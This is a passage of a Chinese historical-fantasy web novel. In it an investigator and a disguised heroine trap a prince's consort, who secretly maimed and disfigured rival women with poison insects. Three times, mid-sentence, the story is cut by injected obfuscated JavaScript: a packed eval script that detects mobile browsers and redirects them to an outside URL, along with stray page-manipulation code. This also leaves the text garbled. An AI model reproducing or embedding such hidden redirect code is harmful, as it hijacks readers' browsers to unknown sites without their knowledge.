“信我的没错,这是我专门请桓安最有名的裁缝花费三个月才搞出来的一件,废了无数布料,别看它颜色深,但衬得皮肤可白皙了,而且这个腰身……” 在谢慕游喋喋不休的介绍中,阿婵将裙衫穿好,让她看看效果。 “绝了!绝了!”谢慕游惊叹道,“就它了,晁元肇肯定从此就把楼映真忘得一干二净!” 阿婵对镜描眉:“也不能忘得一干二净,现在还得让他把楼映真捧在手心里,继续和阮匀薇斗。” “也是,毕竟捧得越高,最后才能摔得越惨!那你可以画个淡点的妆,别太隆重。” 阿婵点点头,抬手对镜给自己化妆…… 过了半晌,谢慕游看着她,皱眉:“你这妆容,有些清冷,我怕……” “怕什么?” 谢慕游笑嘻嘻:“怕太好看了,霍彦先看见也要春心萌动……” 阿婵闻言“噗嗤”一笑,“那最好是,省得我还得想办法套近乎……” 嘴上这样说着,阿婵心下却不禁否认,如霍彦先那般铜墙铁壁一样的男人,不管她是用阿菀的事顺势打知己交心牌,还是屡次使手段撩拨他,都被他拒绝回避了。 就算有时候看上去动摇了,但她很清楚,那也不过是看穿了她的手段,陪她逢场作戏、互相试探消息而已。 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霍彦先依计行事,晌午陪煜王来到市集,给他的坐骑重新买一副鞍鞯—— 昨晚,煜王出了酒楼门口,就已经开始铺垫,假装自己的鞍鞯磨损不气派了,府中又没有满意的,跟随从说,明日去西市逛逛。 西市有许多专门卖鞍鞯的店铺,他们一家一家看过去,都没有中意的。 好不容易,煜王在一家装潢不俗的店铺里,选中了一副金装配各色西域彩宝的鞍鞯,设计虽华丽但不失雅致,很符合他的喜好,刚要上手摸一下,突然感觉一阵幽香从鼻尖掠过。 身侧一位年轻娘子先他一步,指着那副鞍鞯说:“店家,这副鞍鞯可否让我看一下?” 晁元肇只觉眼前一亮,这位年轻娘子着实让他惊艳。 她身着暮山紫暗纹织锦束腰裙,本就胜雪的肌肤,被轻薄柔软的紫色罩纱一衬托,更如幽谷深潭的一株兰草,清冷纤细。 这掌柜的平时接待过不少贵客,但今日店里这几位一看身份更不一般,或许能大赚一笔,于是不敢怠慢,殷勤从墙上取下鞍鞯,放在展示桌案前:“客官请慢看。” 煜王见那女子移步到桌案前,步态轻软袅娜,犹如一道随时会消散的轻柔紫雾,他看得根本挪不开眼,同时心中疯狂腹诽,怪道霍彦先看不上寻常女子,这厮的绣衣察事司里什么时候竟还藏了这么位仙子! 而他身后的霍彦先,在看见女子出现的一刹那,竟也有一瞬罕见的失神…… 79. 莫名胸闷 掌柜这边厢接待完贵女,自然也不敢怠慢其他贵客,于是又对着晁元肇说:“这位郎君,店里还有其他样式的,您不妨再看看别的。” 可晁元肇满眼已经被眼前的年轻女子所占据,对于掌柜的话充耳不闻。 他知道霍彦先今日会找一女子前来配合,但说演戏要演全套,不让他提前知道要见的是谁,他是真没想到,霍彦先找来的,竟然是闻寰居士! 他也是看了很久才看出是她,简直不敢相信自己的眼睛! 晁元肇蓦地回想起之前,霍彦先在宫中找到他说贵女毁容案一事时,曾经提到过,闻寰居士也参与了调查,并靠她找到了突破性的线索,所以如今叫她来配合,似乎也不无道理。 毕竟她本领高强,如果真凶有所动作,想必她比普通女子更能应付得来。 看着眼前这位“娉婷贵女”,晁元肇又不禁想起在富州城时,她钓江伥的潇洒身姿,以及月下凌空飞身上堤坝的惊鸿一瞥,以及灵骅寺斗虎妖的凌厉手段。 从富州城初见,其实他就对这个闻寰居士很感兴趣,总觉得有种莫名的熟悉感。但他脑海中曾预想了很多再次见面的方式,没有一种是现在这样! 今日的她,和之前他见过的全然不同,像是换了一个人一般,她一身束腰紫裙,清冽绝尘,但若说不食人间烟火,她的神色却带着天真懵懂的娇憨,很是动人。 若是不知道她的身份,寻常人肯定都会以为这是哪个世家贵族出身的年轻贵女。 很难把她和之前神色飞扬、泰然自若捉妖的闻寰居士联系在一起。 见晁元肇只盯着人家年轻娘子看,根本不理自己,掌柜的手停在半空,十分尴尬,只好又看看年轻娘子。 对方年轻娘子此时终于发现异样,对晁元肇说:“这位郎君,你也喜欢这幅鞍鞯吗,失礼了,不如你先看?” 晁元肇此刻已经魂飞天外,听到这柔声细语,魂魄才被勾回来,忙摆摆手:“不急不急,娘子你先看吧。” 掌柜的见这位年轻娘子没有什么嫌恶被打扰的表情,只是福了一福,便自顾自仔细查看鞍鞯,终于放下心来。 晁元肇这才随便指了另一幅墙上挂着的鞍鞯,让掌柜取下来,同样放在桌案上细看,只是,他看得十分心不在焉,眼神总是飘向旁边。 阿婵一边看鞍鞯,实则心中鄙夷,这煜王见一个爱一个的眼神,果然不像演的! 今日她从清晨就一直在西市晃悠,乔装外地来桓安的贵女,看什么都新鲜,逛了半天,才假装偶遇煜王。 她装出一副懵懂好学的样子,问道:“掌柜的,我是新手,随父亲来桓安,途中刚刚学会骑马,不知这幅鞍鞯配我的银鬃马行不行?” 掌柜刚要答,晁元肇便抢话,“银鬃马不适合这幅鞍鞯,不如选这副蓝底暗金宝相花刺绣配西域彩宝的,更适合小娘子。” 阿婵闻言一愣,看向晁元肇,她抬眼那一刹,眉梢眼角带着少女的娇憨,偏偏不知为何,淡淡的眉眼又特别有种勾.人的风情,看得晁元肇心神一晃。 他更加觉得自己似乎在哪里见过她,很是想要问个究竟。 但是戏还没演完,她刚才已经说了自己初来桓安,这时如果他贸然说眼熟,似乎也很孟浪,于是便耐心地配合表演,给她讲解,她的马适配哪种鞍鞯。 晁元肇酷爱骑射,因此于选择鞍鞯一道也能说得头头是道,阿婵耐心听着,时不时点头微笑回应,非常钦慕地看着晁元肇。 突然,阿婵脚下一绊,向旁边倒去,花容失色,吓得老板魂飞魄散,幸好晁元肇眼疾手快将她扶住。 扶住的一刹那,他的手握住了她纤细的皓腕。 “多谢郎君。”阿婵抬眼看向晁元肇,眼波流转,如同罩着一层雾气,让晁元肇有一瞬间的迷失。 一切不过发生在电光石火之间,霍彦先在后面看着二人,瞬间的理智,让他下意识伸出去扶她的手骤然缩回,紧握成拳,继续紧盯着二人之间的互动。 只是…… 够久了吧,为什么煜王还不放手? 霍彦先越看越觉得,煜王这分明是想借机揩油! 他不让煜王提前知道今天来配合演戏的是阿婵,其中一个隐蔽的原因,是他一直觉得阿婵和煜王之间有什么猫腻,因此,想看看二人在没有任何准备的情况下相见,各自是什么反应。 只是没想到,这煜王满眼除了好.色,再没别的信息透露出来,这让霍彦先感到十分荒谬,难道自己想得太复杂了? 他剧烈地咳了几声,直到店里所有人都看向他,晁元肇才收回触碰阿婵的手。 煜王风度翩翩道:“娘子不必客气,举手之劳而已。” 而后阿婵继续挑选鞍鞯去了,晁元肇一直跟在她身后,眼睛依旧舍不得从她身上移开。 掌柜则瞟向一直跟在二人身后的霍彦先,心说这人怎么这么没有眼力见儿! 没看到人家郎情妾意的,这人是谁欠了他的钱嘛,干嘛垮着个脸皱着个眉,一脸的苦大仇深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231893|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长这么高还紧跟在人家后面,跟堵会动的墙似的让人窒息! 当然,掌柜也只敢偷摸瞟一眼,因为霍彦先今日衣着虽然是平常的随从跟班模样,但他的眼神就跟他腰间那把刀一样,全是杀气!一看就知道是个狠人,他这种小老百姓可惹不起呀…… …… 最后,在晁元肇的推荐下,阿婵终于选好一副鞍鞯,付过钱后,让店家送到暂住的云来客栈。 “娘子不是桓安本地人?” “是,奴家是随父母来桓安的,初来乍到,暂时还没找到居所,因为刚得了一匹良驹,按捺不住实在喜欢,便先来选鞍鞯。” “怪道娘子看着气质独特,不似桓安人,我是土生土长的本地人,如果遇到什么问题,都可以来问我。”晁元肇非常热情地尽地主之谊。 阿婵道谢:“人都说桓安百姓十分热情,今日奴家感受到了,多谢郎君好意,不过时间不早,我该回去了。” 萍水相逢的戏码,晁元肇就算再自来熟也不能过于冒昧,只能恋恋不舍地与她在店门口告别。 阿婵轻移莲步,牵马缓缓消失在众人视野,只徒留淡淡幽香。 见煜王还在痴痴望着阿婵,一副无法自拔的样子,霍彦先感到胸口没来由一阵恼火,冷声提醒他,“郎君,我们该走了。” 今日阿婵的装扮确实出乎意料,连霍彦先见到她的一刹那,都差点没认出来。 平日她总是一副素面朝天嬉皮笑脸的样子,差点忘了她是在仙昙村夜晚篝火旁那个妖异蛊惑的“妖女”,瞬间百变。 只是霍彦先不知为何,心中感觉刺刺的、闷闷的。 像是自己独有的情报被别人轻易探听了去。 又好似本来在路边看到一株妖冶带刺的玫瑰,原本只在暗夜独独为自己绽放,如今却在光天化日之下明目张胆被别人摘走,总之,非常不爽! ?等一下,不对,自己为何有如此奇怪的想法,什么玫瑰?什么摘走? 霍彦先觉得自己莫名其妙,该不会隐隐疯了吧…… 他想了想,是了,肯定是煜王刚才在店中的表现太过火,就算一见倾心,也不能那样盯着人家贵女看啊,这成何体统! 霍彦先冷静下来,看向煜王,这一看不要紧,更加搓火! 今天这出戏如今还棋差一着,旁边那家伙听到自己的提醒竟然还不走,傻愣愣一样站桩,最关键的戏份,他不会给忘了吧! 他不禁十分鄙夷地看向旁边还在怔愣着的煜王。 80. 小惩大诫 霍彦先正在腹诽,就听晁元肇对身边随从说,“去查一下,这是哪家的贵女。” 随从领命而去。 霍彦先终于放心下来,环视四周…… *** 目送闻寰居士离开之后,晁元肇还愣了好一会儿才反应过来。 若是平常,他定会希望和闻寰居士尽快有更进一步的发展,不过如今,他还得尽快为映真去取药,毕竟霍彦先说禾阳县主那里只有能治近期毁容的药,他得快一点。 于是他换过鞍鞯,便和霍彦先分开,纵马疾驰到了禾阳县。 由于之前已经给禾阳县主递了拜帖,说明事由,问药一事并没有什么阻碍。 和霍彦先所说一致,对于禾阳被毁容的贵女们,县主说因为药引难寻,暂时没有办法。 但对于近来刚毁容的病症,却是有药可治的。 禾阳县主将之前给阿婵制药多余的部分,拿出来给晁元肇,因她之前受霍彦先所托,对于毁容事件不要多谈,因此也没有对晁元肇多说什么。 二人客气一番,晁元肇付了重金,又赶回桓安给楼映真送药。 楼映真收到药,非常惊讶:“容貌都是身外之物,哪里值得殿下如此费心。” “不,你值得,自从当时在晋南山中你救了我,对我来说,你的一切都重要。”晁元肇急忙解释。 “可这……真的能治好我的脸吗?”楼映真有些不敢相信。 晁元肇柔声道:“你放心,我问过禾阳县主,她是有名的女神医,曾救过嘉善皇后的命,她说只要按时敷药,一定能恢复成先前的模样,不会留下疤痕。只是这药膏不多,你先用着,我已经托她多制了些,等炮制好了后,再给你送来。” “殿下有心了。” 楼映真送走晁元肇,看着眼前案几上摆着的两盒一模一样的药膏,嘴角泛出讥讽的笑容。 阮云薇,这一次,我志在必得。 *** 得知晁元肇回来,霍彦先第一时间赶去找他。 “殿下如果有时间,可以随我去见一个人。” “和毁容案有关?” “是。” 随后,霍彦先便带晁元肇来到了蓬莱春。 这自然是阿婵给霍彦先提供的线索。 “殿下,请喝茶。” 晁元肇坐在雅间,见婢女奉茶上来,声音悦耳,身姿轻盈,只是…… “怎么是你!”晁元肇循声望去,竟然看到了曾在炎合酒楼琴艺艳惊四座的纪彩鸢给自己奉茶。 更令他惊讶的是,曾经她弹琴的纤纤玉指,如今已变成扭曲错位、枯树虬枝般恐怖! “你的手……怎么、怎么变成这样了!”晁元肇惊得一下子从座位上站起身来。 纪彩鸢见到煜王,想到自己的无妄之灾,登时心中苦涩,泫然欲泣:“是婢子弹琴,不小心得罪了煜王妃,煜王妃为了教训婢子,才小惩大诫……” 晁元肇向来怜香惜玉,平时对这些柔弱女子怜惜得不行,此时见她一副姣好的容貌配上扭曲的手指,勃然大怒:“这还叫小惩大诫?!” “哎呦煜王殿下,这可不是小惩大诫么,明明可以直接要了她的命,却只折断了她的手,实在是手下留情了!” 谢慕游还在一旁阴阳怪气地拱火。 煜王脸色瞬间沉下来,问纪彩鸢:“你如何得罪了她?” “婢子不知,只是那天殿下同王妃一起来听曲后,殿下随手慷慨给婢子打赏,离开之后,王妃便派人来敲打婢子……” “……”晁元肇沉默不语。 谢慕游还在一旁浮夸地碎碎念:“煜王殿下,不是我自夸,这彩鸢也就是遇上了我,要不是看她一个人在河边生无可恋的样子实在太可怜,我将她带回来秘密治伤,顺便让她隐姓埋名在蓬莱春做工忙起来,没空胡思乱想寻死觅活的,她哪能好好活到今天,怕是如今只能在河里捡到她的尸骨咯……” 晁元肇瞥了谢慕游一眼,神色愈发冷峻。 “还有一些事,希望殿下能够知晓。”霍彦先继续说道。 …… *** 煜王府。 “恭喜王妃,您有喜了!” 听到郎中的话,阮云薇简直不敢相信自己的耳朵。 多年的努力没有白费,上天终于看到了她的苦心! “只是……”郎中眼神闪烁起来。 “只是什么?!”阮云薇听到这话,刚刚飘到云端的心情瞬间又被拽了下来。 “只是……王妃这脉象有些、有些不稳……还需要喝药调理。” 郎中一番话说得吞吞吐吐、犹犹豫豫。 他极力调整措辞,实在是因为,从医多年,他从未见过如此混乱的喜脉,可多年的经验告诉他,这个脉象也确实是怀孕的迹象无疑。 他虽百思不得其解,但对方毕竟是王妃,岂敢随便乱说话,只得斟酌用词,说得尽量委婉些。 “可有什么大碍?”阮云薇紧张起来。 “暂时无碍,王妃只要按时服用安胎药即可,此外,前三月是关键时期,一定要非常小心,以免动了胎气。”郎中叮嘱道。 “这是自然,多谢郎中。赏。” 听了郎中的话,阮云薇示意婢女收了药方,跟郎中前去抓药,并赏赐了郎中丰厚的钱财。 待郎中走后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239982|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阮云薇叫来亲信柳盛。 “给桐风传信,需要稳住胎气,叫他们做得隐蔽一点,快一点。” “是,王妃。” 柳盛得令出门,正巧阮云薇的眼线回来禀报消息。 可他还没来得及开口,阮云薇突然指着他尖声说:“赶紧把刀卸掉,再吓着本宫的孩子!” 眼线一听,便道:“恭喜王妃,终于得偿所愿。” 阮云薇这才脸色缓和下来,让他继续禀报。 “楼映真毁容后,目前每日深居简出,暂时没有什么特别的动作。只是有一次当街偶遇煜王殿下,也没有带遮面,似乎是故意博取同情。” 阮云薇冷笑一声,同情也没有用,她太了解晁元肇了,哪怕这个人他爱得再死去活来,只要一毁容,他也会移情别恋。 天下哪有什么真爱,色衰而爱驰,只要是男人,都逃不过这句话。 “她不是去找闻寰居士了吗,闻寰居士也治不好她的脸了吗?” “暂时没见到效果。” “哼,我让人精心调制的药,就算是大罗神仙,也恢复不到当初,以为去掉胎记就能入主煜王府了?白日做梦!”阮云薇讥笑。 “但是……殿下似乎也去禾阳县主那里给她找药了……”眼线有些犹豫。 “什么?!”阮云薇柳眉倒竖,随即暗暗告诫自己,不气不气,不能动了胎气。 眼线道:“只是在去之前,煜王殿下还在西市偶遇了一个紫衣女子,据说是外县贵女,刚随父母来桓安定居,殿下言谈间似乎对她很是照顾上心,属下已经按您的吩咐潜入她身边,将其毁容,请王妃放心。” 阮云薇无奈地笑着摇摇头,剥了一颗葡萄放进嘴里。 她就知道,这个晁元肇,就算一时半会儿还心疼楼映真,也不耽误他招惹别的莺莺燕燕! 不过么,只要不是楼映真,其他什么贵女贱女都不足为虑…… 突然间,阮云薇猛地一下把葡萄吐.出来,尖声问另一个婢女:“这葡萄孕妇能吃吗?可别伤了胎气,赶紧去找郎中问问饮食都需要注意什么?真是的,你们刚才也不提醒我!” 就在此时,房门“砰”地一声被打开,外面传来了此起彼伏的“殿下”声。 这声响太过巨大,像是一下被踹开的,着实让阮云薇吓了一跳,皱眉抚着肚子,心说别吓着我的孩子…… 下一刻,晁元肇冷着脸大步流星迈进门槛,气场吓人得紧。 连带着门外冲进来的暑热似乎都一下子被他的怒意冻结。 阮云薇不明所以,但依旧整理好表情仪态起身相迎,问道:“殿下这是怎么了,何故发如此大的脾气?” 81. 毒妇 晁元肇冷冷看向妻子:“本王原以为你秉性温良,才与你结为夫妻,没想到你在人后竟是如此蛇蝎心肠,如何配当大桓王妃,给万民做表率!” 饶是阮云薇再善于应变,也不禁睁大眼睛,怔愣住。 成亲十载,从未听他说过一句如此重的话,她背后瞬间起了冷汗,心中思绪万千,不知到底是哪里出了问题。 “殿下在说什么,妾身……怎么听不明白。” “既如此,让臣来给王妃解释一下吧。” 门外传来一个声音,阮云薇心下更是震惊,竟是霍彦先! 大桓显贵最不喜欢看到霍彦先,因为他无事不登三宝殿,一旦他出面,那可不是简简单单没有好事,而是连性命家财都有可能全部丢掉,所以大家才背地里偷偷叫他“沉命阎王”。 此事他横插一脚,阮云薇心中有十分不好的预感,冰凉的手轻抚着腹部。 霍彦先带刀往屋中一杵,温度就凭空降低了许多。 他一双锐利的眸子冷冷扫过众人,压迫感极强,屋中仆从顷刻低眉顺眼,不敢忤逆,阮云薇虽心中不满,但也不敢不让他说话。 “既然大家都已经准备好了‘洗耳恭听’,那我就来给大家讲一讲王妃的事迹。” 霍彦先语气中带着混不吝的戏谑,阮云薇敢怒不敢言。 于是,霍彦先便当着众人,将自己近日的调查原原本本讲出来: 不久前玥宜公主发现禾阳县贵女集体毁容之事十分蹊跷,便命绣衣察事司彻查,调查过后,发现并非疫病,更似下毒。 而每一个被毁容的贵女,都曾和煜王殿下有过短暂的交集,这一点经过了殿下本人的证实。 如果不是煜王殿下本身的问题,那么凶手为何能够如此了解殿下和每一位女子的行踪,答案很明显—— 这个人一定每日都跟在煜王殿下身边。 “凶手的目的看起来很明显,就是为了阻止陌生女子和煜王殿下亲近。试问这样做,谁获益最大呢?”霍彦先看着阮云薇的眼睛问道。 阮云薇并不看他。 霍彦先也不恼,接着讲述。 如果凶手真是怀着以上这个目的,那么也很好验证,只要再来一次,凶手一定会有所行动。 为了抓出幕后凶手,霍彦先和煜王殿下特意联手设了一局。 那日,他假装下朝之后一同陪煜王去西市给坐骑配辔头,偶遇一女子,便是为此。 霍彦先此时并没有说出做局的女子是阿婵,只称其为外县贵女。 外县贵女下榻的酒店,已提前安排了绣衣察事司的人守株待兔。 当夜,果然有人进入外县贵女的房间搞事情。 这个人动作极其轻巧利落,潜入房间时寻常人根本难以察觉。 只是他不知道房间中的这位贵女并不是手无缚鸡之力的弱女子,一进去便栽了。 潜伏在周围的绣衣暗侯将行凶之人抓住,发现他竟是煜王殿下身边一个不起眼的随从。 这个人,叫做寇楠,在绣衣察事司第一轮向煜王随从进行例行调查之时,十分配合,一副知无不言言无不尽的样子。 但那一晚被抓获之时,完全是另外一副样子,仿佛被控制了心智一般,眼神透出诡异的木讷和空洞,只是一心要完成给贵女的衣服上下蛊虫这件事,被抓住时还在重复这一动作。 但他被抓之后一晚,又恢复了正常,根本不记得自己曾经做过什么……所以在第一轮例行调查时,才能骗过绣衣察事司经验最丰富的审讯人员。 “那也只能证明他是被控制了,为何不能是别人嫁祸于我?”阮云薇理直气壮地反驳。 “王妃说得有道理,绣衣察事司从不冤枉一个好人,这次自然也是怕坏了自己的招牌,于是不得不重新寻找别的证据。”霍彦先顺着她说。 “于是我们顺藤摸瓜,排查到炎合酒楼的琴姬纪彩鸢,以及十余位坊间歌舞姬、酒楼侍婢都曾在不同程度上遭受过王妃的‘教训’。 弹琴的手指被折断,跳舞的腿脚被打折,甚至有茶楼的婢女只因茶水递上来太烫,双手被泼热水烫掉了一整层皮…… 这些人没有被控制心智,但都一一指认是王妃的随从做的,我们经过仔细查证,发现没人说谎,这是否也冤枉了王妃?” 煜王一直在旁沉默着,只是脸色越来越铁青,攥拳的手背上青筋凸显得越来越清晰。 阮云薇冷笑一声,挺直腰板道:“自然不是我做的。许多坊间的莺莺燕燕为了飞上枝头,使尽浑身解数勾.引殿下,想些不该肖想的事情,不过我从不在意,因为知道殿下也不会认真。 况且我身为王妃,如何能不知大桓律例,惩戒有度,不可擅用私刑,霍大人不妨再查清楚些,许是我的哪个下人看在眼里,替我抱不平,因此才私自行事,小惩大诫一下。” “小惩大诫?!你既熟知大桓律例,如何还能说出这些是小惩大诫的话来!” 晁元肇此时已听不进去她的狡辩,这一整天,霍彦先带他见了纪彩鸢等一干受害女子。他本就怜香惜玉,而那些昔日能歌善舞的姣好女子,如今一个个却变得面容惨不忍睹,肢体残缺变形! 当她们一字排开站在他眼前时,他只觉毛骨悚然,匪夷所思,如何能有人心肠歹毒到如此境地!这人还是他的发妻! 以至于,霍彦先给他安排午宴,满桌的猪蹄凤爪鸭掌,他是一口也吃不下。 刚才回府途中,他连日奔波加上被霍彦先告知调查真相,一整个身心俱疲加大受刺.激,闭目养神一不小心睡着了。 可梦中那些扭曲变形的手脚竟独自跑来缠着他,让他一身冷汗立时被吓醒。 这些恶意满满的加害,蓬莱春老板谢慕游说“王妃只不过是‘小惩大诫’而已”,他没说什么,因为知道她是在拱火。 可如今,当他听到发妻亲口说出“小惩大诫”四个字,那满不在乎的语气,他真是气不打一处来,终于爆发: “你去灵骅寺时口口声声说,要为桓安女子祈福,大桓女子祈福,可你这都是在做些什么?! 你晚上睡得很是安稳吧,因为都是下人做的,你是一点没亲眼看见那些断手断脚皱皱巴巴枯树一般的人皮! 那些莺莺燕燕心思歹毒?好,就算她们心思歹毒,不过也可能只是为了要勾.引本王,但我看你口口声声做什么都以本王为先,为本王好,可所做所为桩桩件件都是要要本王死!” “殿下,妾身是冤枉的,真的什么都没有做过,一定是妾身管教不严,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245412|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让下人私下动刑,妾身这就去严家彻查整治……” 阮云薇情真意切地辩解,眼尾泛红,含.着委屈。 晁元肇看着她,只觉得一阵恶寒。 她那无辜的神态,装得可真像啊,是不是这十年,她都在他身边如此表演。 其实,早在他看到阿水、不、映真脸上的伤和那些毁容贵女的伤如此相似之时,他心中便已隐约有了答案。 映真对他说,自己是赴了阮云薇的宴席后第二天便变成那副模样,他并不傻,最可能是谁做的,不言而喻。 但霍彦先对他说,证据不足,还需要调查,那时他装起糊涂,还心存一丝侥幸。 毕竟,阮云薇的姑母阮淑妃是他在朝中需要倚仗的势力,当年他便是看中这一点,才决定迎娶阮云薇,没有确凿的证据,确实不能随便定罪。 但在霍彦先带他看过纪彩鸢和其他受害歌姬婢女之后,他心中就越发确定,能做出这件事的人,就只有阮云薇,再无他人。 他也明白,绣衣察事司查到这个份儿上,这事就算他真想大事化小,也不可能了。 所以他今日这样气愤,不仅是因为这些无辜女子受害,也不仅是因为连阿水都不能幸免于难,更是因为,他辛辛苦苦在民间积累的口碑,被阮云薇这样一桩桩一件件的腌臜事全然败坏,还捅到了玥宜公主和霍彦先那里! 这位皇妹他很了解,受嘉善皇后熏陶,十分关心大桓女子的生存境遇,如今出了这样的事,圣人那里必定也会知道。 他好不容易才通过荔南府的贪墨水患案,在圣人面前博得了一点好感,结果现在全完了! 更不要提霍彦先的调查结果会在圣人心中占据怎样的分量。 而阮云薇竟还在这里装无辜,死不认账! 即便是王府下人擅自动用私刑,传出去,那也是煜王府的下人仗着他的名头作威作福,她在他面前,日日将“妾身定会自我约束,不会为王府丢脸,皇室丢脸”的话挂在嘴边,又岂会不知? 一想到她明知如此,还私下行事如此恶毒嚣张,他对她的厌恶,就更添了十分! 晁元肇看了霍彦先一眼,霍彦先示意绣衣察事司司众将人带上来。 霍彦先对阮云薇道:“那么王妃对于这个人,有什么想说的。” 只见绣衣察事司司众又搀上来一个妙龄女子,她神色憔悴虚弱,脸上赫然也和贵女一般被毁容了,密密麻麻扭曲丑陋的蛇形纹路遍布整张脸。 阮云薇旁边那眼线,突然脸色变得煞白。 霍彦先道:“这是在我的调查中,唯一一个没有和煜王殿下有过交集的女子,她是客栈被抓获的那个随从寇楠的亲妹妹,叫做寇芸,不知道为什么,远在深山老家,从没出过远门,也会有此症状?” 此时,刚才进门还要被搀扶的寇芸,突然发了疯一般冲向阮云薇的闺房之内,将她的梳妆台一通乱翻。 众人都吓了一跳,阮云薇瞬间神色大骇,眼见着寇芸快要将妆奁掀翻,她大喊:“住手”! 不顾此举可能动了胎气,也要冲过去阻止寇芸。 而此时,霍彦先一把扣住了她,凉丝丝道: “王妃别急,她不会动贵重首饰的,只是想找解药而已,你就让让她吧……” 82. 筹码 众人惊诧地看着寇芸在梳妆台前一通乱扫,将摆在外面的银梳、胭脂、发簪、耳饰全部都扫到了地上,而寇芸却视若无睹,连看都不看一眼,只一味疯狂地用手扒拉梳妆台。 她双手骨头凸出,枯瘦如枝,皮肤毫无血色,手指甲疯魔般地在黄花梨梳妆台上刮划出几道血痕,发出刺耳的声音,可见用了死力气,一定要把里面的什么东西给挖出来。 众人见到这一幕,皆觉毛骨悚然。 这时,霍彦先示意绣衣察事司几名司众上前,将寇芸拉开。 而又有一名司众围在梳妆台前,搜搜按按,似是在找什么微小的东西。 “快给我住手!”阮云薇被霍彦先牢牢扣住,依旧冲那那司众破口大喊,脸色很是难看,完全不顾王妃威仪。 煜王看她这般样子,心中更加鄙夷。 霍彦先笑道:“王妃放心,若是梳妆台有什么损坏,我绣衣察事司照价赔偿。不过,这位是我司中最精通机括机关的,他一定会非常小心不弄坏您的梳妆台。” 话音未落,只听黄花梨的梳妆台“咔哒”一声,骤然从抽屉下方弹出一个夹层,里面放着几排密密麻麻的小木盒子。 所有人都十分惊讶,没想到这梳妆台下还暗藏玄机。 “佛弥陀佛,罪过罪过。”一人念着佛号走进屋来。 正是灵骅寺方丈成智大师。 那名擅长机括的绣衣察事司司众只将夹层找出来之后,就默默退下,显然霍彦先早已安排好一切。 只见成智大师走到夹层前面,一面口中念着什么咒语,一边用手将密密麻麻的盒子一个个打开。 众人不禁伸长脖子去看盒子里面到底藏着什么宝贝。 这一看,不要紧,差点呕出来。 原来有几个盒子里面只有一只虫子,而另外大部分的盒子里面挤满了蛆虫般大小的各色蠕动的虫子,正在里面缓慢爬挤在一起,盒壁上沾满各种无法言说的黏.液,令人作呕。 煜王大骇,一想到跟自己同床共枕的女人竟然暗中豢养这么多黏腻恶心的虫子,距离床榻不过几尺的距离,浑身瞬间起了一层鸡皮疙瘩!亏她每天早晨还能安安稳稳地对镜梳妆! 盒盖一一掀开,这些虫子一见到光线就拼命想往外爬飞,但在成智大师的咒语控制之下,它们被束缚在盒内,动弹不得。 成智大师将有虫的盒子一一妥当密封到自己带来的工具箱内,另外一些没有虫子只有药粉膏丸的盒子还留在夹层中。 “霍大人,这些蛊虫已经控制住了,另外那些应该是解药,寇芸自己应该就能选出来需要哪些。” “多谢成智大师。” 霍彦先示意一名司众将解药盒子拿到被制住的寇芸面前一一让她过目。 发现只除了一种放在她面前的时候,她没有任何反应,其他的一放到她面前,她便躁动不安,目光疯狂贪.婪地盯着那盒子,恨不能连盒子一起生吞活剥下去。 灵智大师将寇芸需要的解药一一记下,给她一点点服下。 “好了,大家想必很想知道,为什么远在深山的寇芸,竟然会知道王妃屋内的梳妆台中还藏着这么多的宝贝吧,王妃,不给大家解释解释么?” 阮云薇面如白纸,摇摇欲坠,根本什么话都说不出来。 霍彦先示意几个司众过来看住她,自己则走到刚才给她禀报的眼线旁边。 他一脚踹向眼线,眼线“扑通”跪地,地砖传来碎裂的声音。 霍彦先冷声说:“王妃不想说,那就你说!” 眼线看看阮云薇威胁的眼神,不敢言语,刚才被霍彦先踹那一下,他的膝盖骨已然碎裂,此时是又痛又怕,瑟瑟发抖地极力忍着,但什么也不敢说。 霍彦先见他还死鸭子嘴硬,在旁幽幽补上一句:“我们近日处斩了一批重刑犯,绣衣察事司现下腾出很多牢房,空荡得我心甚为难受,正好请你进去坐坐,我一定盛情招待。” 眼线一听,吓得三魂没了五魄,连忙哐哐磕头:“大人饶命,小人不想去绣衣察事司,不想去……” 他专事打探消息一职,绣衣察事司那些刑罚他可是太听说过了。 此刻霍彦先只是让他跪碎了膝盖,他还能忍,但要真进了那“沉命司”的大牢,可就是求生不能求死不得了。 煜王怒道:“我问你,你做的这一切是不是王妃授意的?!” “是、是,都是王妃授意小人做的!”眼线一边磕头一边喊着,完全不顾阮云薇飞来的眼刀,一五一十将实情全部交待了。 “王妃一直视煜王殿下中意的女子为眼中钉,怕她们会登堂入室,为了让她们不能够再入殿下的眼,因此要一一将殿下最中意她们的地方毁掉。 普通的坊间女子,很好处理,只需暗中将其手脚弄残即可。 